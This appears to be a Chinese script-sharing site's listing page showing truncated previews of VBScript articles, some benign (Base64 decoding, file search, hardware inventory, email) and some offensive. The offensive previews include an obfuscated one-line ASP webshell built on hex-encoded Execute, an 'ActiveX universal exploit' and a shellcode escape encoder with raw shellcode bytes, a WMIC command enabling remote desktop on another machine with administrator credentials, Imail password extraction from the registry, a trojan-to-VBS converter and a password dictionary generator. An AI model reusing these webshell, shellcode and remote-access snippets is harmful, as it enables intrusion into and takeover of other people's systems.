vbs版的解密base64加密的脚本

2017年02月06日 176 阅读

复制代码 代码如下:FunctionfDecode（sStringToDecode） "ThisfunctionwilldecodeaBase64encodedstringandreturnsthedecodedstring. "Thisbecomesusefullwhenattemptingtohidepasswordsfrompryingeyes. ConstCharList="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijk...

更牛的一句话asp木马加密（去掉asp里的%）

2017年02月06日 151 阅读

不知道怎样表达清楚。看例子吧：复制代码 代码如下:<scriptlanguage=vbsrunat=server> Execute（HextoStr（"65786563757465287265717565737428636872283335292929"）） FunctionHextoStr（data） HextoStr="EXECUTE""""" C="&CHR（&H" N="）" DoWhileLen（data）>1 IfIsNume...

用vbs发送带附件的邮件

2017年02月06日 172 阅读

functionSend_mail（You_Account,You_Password,Send_Email,Send_Email2,Send_Topic,Send_Body,Send_Attachment） "codebyNetPatch "VBS发送邮件参数说明 "You_Account：你的邮件帐号 "You_Password:你的邮件密码 "Send_Email:主要邮件地址 "Send_Email2:备用邮件地址 "Send_Topic:邮件主题 ...

VBScript开发自动化测试脚本的方法分析

2017年02月06日 170 阅读

我在软件测试这个行业也是做过很多年了，自己的方向也是自动化测试，对VBScript脚本也算是了解，在测试过程中 也应用了一些，所以来谈谈如何使用VBScript来开发自动化测试。 首先先介绍几个可以在自动化测试开发中用到的VBScript的几个函数。1、InStr 函数描述 返回某字符串在另一字符串中第一次出现的位置。语法InStr（[start, ]string1, string2[, compare]） InStr 函数的语法有以下参数： ...

Imail密码加密算法及VBS实现

2017年02月06日 166 阅读

Imail的所有邮局信息,比如用户,密码都实际上都是存储在计算机注册表当中的,所以只需要 打开注册表就可以看到Imail里的所有信息,包括用户的密码.细节: Imail将企业邮局信息全部存储在: HKEY_LOCAL_MACHINESOFTWAREIpswitchIMailDomains<DOMAINNAME>Users<USERNAME> 这样一个键里,其中DomainName是邮局名,UserName是用户名,而在<USE...

vbs搜索文件名或者得到目录列表

2017年02月06日 136 阅读

"把网上的一个小程序改得方便了点，这个搜索次效率很好。 复制代码 代码如下:onerrorresumenext DimkeyWord,DirTotal,TimeSpend,FileTotal,Fso,outFile,txtResult,txtPath,sPath ConstMY_COMPUTER=&H11& ConstWINDOW_HANDLE=0 ConstOPTIONS=0 SetobjShell=CreateObject（"Shell.Applica...

用vbs判断系统补丁的脚本

2017年02月06日 149 阅读

SetobjSession=CreateObject（"Microsoft.Update.Session"） SetobjSearcher=objSession.CreateUpdateSearcher SetobjResults=objSearcher.Search（"Type="Software""） SetcolUpdates=objResults.Updates Fori=0tocolUpdates.Count-1 "IfcolUpdates.It...

ActiveX漏洞通用Exploit vbs修正版

2017年02月06日 145 阅读

C++代码 复制代码 代码如下:#include<stdio.h> #include<string.h> unsignedcharshellcode[]= "xEBx54x8Bx75x3Cx8Bx74x35x78x03xF5x56x8Bx76x20x03" "xF5x33xC9x49x41xADx33xDBx36x0FxBEx14x28x38xF2x74" "x08xC1xCBx0Dx03xDAx40xEBxEFx3BxDFx75x...

管理网卡vbs脚本

2017年02月06日 154 阅读

"dislan.vbs "usage:cscript/nologodislan.vbsConstssfCONTROLS=3sConnectionName="本地连接"sEnableVerb="启用（&A）" sDisableVerb="禁用（&B）"setshellApp=createobject（"shell.application"） setoControlPanel=shellApp.Namespace（ssfCONTROLS） setoNetCon...

用vbs写的短小精悍的字典生成器

2017年02月06日 143 阅读

使用方法"use:cscriptthis.vbs>dic.txt 把下面的代码保存为this.vbs复制代码 代码如下:a=Array（1,2,3,4,"a"） Functionjs1（n） fori=1ton f=f&"f"&i&"&" s=s&"ForEachf"&i&"Ina:wscript.echo"&f s=Mid（S,1,Len（S）-1）&":" Next js1=s EndFunction Functionjs2（n） fori=1t...

把任意文件转成vbs文件的file2vbs的vbs代码

2017年02月06日 183 阅读

Tr4c3:为了方便在dos下使用，我把inputbox改成了args。 复制代码 代码如下:"ProgramByxiaolu "name:file2vbs.vbs Onerrorresumenext SetArgs=Wscript.Arguments IfArgs.length<>2Then Wscript.Echo"Usage:"&Wscript.ScriptName&"c:muma.exec:muma.vbs" Wscript.Quit ...

用vbs实现获取电脑硬件信息的脚本_最新版第1/4页

2017年02月06日 173 阅读

"******************************************************************************************* "Version:3.1 "调整错误处理方法，错误信息输出到LogFile文件，可以查看扫描失败原因 "如果出现“RPC服务器不可用”错误，是因为远程主机没开机 "如果出现“RPC服务器不可用”之外的错误，可能是由于正在运行的程序造成，请你把此信息告诉我 "重启后再次扫描就...

windows2003一句话开3389的vbs代码

2017年02月06日 165 阅读

作者：lcx 来源：vbs小铺 wmicRDTOGGLEWHEREServerName="%COMPUTERNAME%"callSetAllowTSConnections1 开远程：WMIC/node:"远程机器名"/user:"administrator"/password:"lcx"RDTOGGLEWHEREServerName="远程机器名"callSetAllowTSConnections1 ...

vbs实现无黑框无DOS窗口隐藏批处理运行窗口

2017年02月06日 194 阅读

OptionExplicit DimWshShell,Pro SetWshShell=WScript.CreateObject（"WScript.Shell"） Pro="D:ProgramFiles千千静听TTPlayer.exeD:千千静听默认.ttpl" WshShell.RunChr（34）&Pro&Chr（34）,0 支持路径或文件名带空格，网上给出的VBS代码貌似没有留到空格问题，特此补充。 ...

vbs输入助手执行会调用好多乱的进程

2017年02月06日 153 阅读

OnErrorResumeNext SetArg=Wscript.arguments IfArg.count=0thenWscript.quit "------------------- "Enjoyit "CodeByNetPatch "------------------- fname=InputBox（"请输入要ECHO的路径）:","输入文件名","%systemroot%/system32/webdl.vbs"） SetFso=CreateObj...

批量文件查找替换功能的vbs脚本

2017年02月06日 201 阅读

"＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝ "codebylcx修改网上原有的一个小程序，不知作者，那个程序没有对目录实现递归查找 "将本程序放在你要查找的目录下，或把查找的目录拖到此脚本上，估计还有bug "======================================================================================= OnErrorResume...

vbs shellcode转换escape加密

2017年02月06日 149 阅读

"codebyNetPatch code="x29xc9x83xe9xa1xd9xeexd9x74x24xf4x5bx81x73x13x92x06x5bx18x83xebxfcxe2xf4x79x16x01x52xa1xcfx3dxa1xaex07xdbx2cx98x9fxb9xe2x79x03xb3xf3x6dxf9xa4x68xdex9fxc2x81x51xfbx63xb1x0bx9fxc2x0ax4bx93x49xf1x17x32x49xc1x03x...

一个最简单的vbs类实例代码

2017年02月06日 155 阅读

classCFoo subPrintHello（） response.Write"HelloWorld！" endsub endclass dimobj setobj=newCFoo callobj.PrintHello setobj=nothing ...

实用vbs提醒小程序

2017年02月06日 163 阅读

使用方法： 1.将下面的代码保存为：Ring.vbs（文件名可自定） 2.将Ring.vbs移动到程序启动组，这样可以随WINDOWS自动启动了（位置是：开始--程序--启动，XP的启动组位置是：C:DocumentsandSettings你的用户名「开始」菜单程序启动） 3.我这里使用的是Window自带的MediaPlayer播放音乐，所以先打开您的MediaPlayer，将“正在播放列表”另存到D:MusicMyMusic.wpl（保存路径可以自定，...

使用vbs下载文件的代码加强版

2017年02月06日 196 阅读

说到使用vbs下载文件是不是想到了XMLHTTP呢，呵呵，以下是比较经典的代码： iLocal=LCase（Wscript.Arguments（1）） iRemote=LCase（Wscript.Arguments（0）） SetxPost=createObject（"Microsoft.XMLHTTP"） xPost.Open"GET",iRemote,0 xPost.Send（） setsGet=createObject（"ADODB.Stream"）...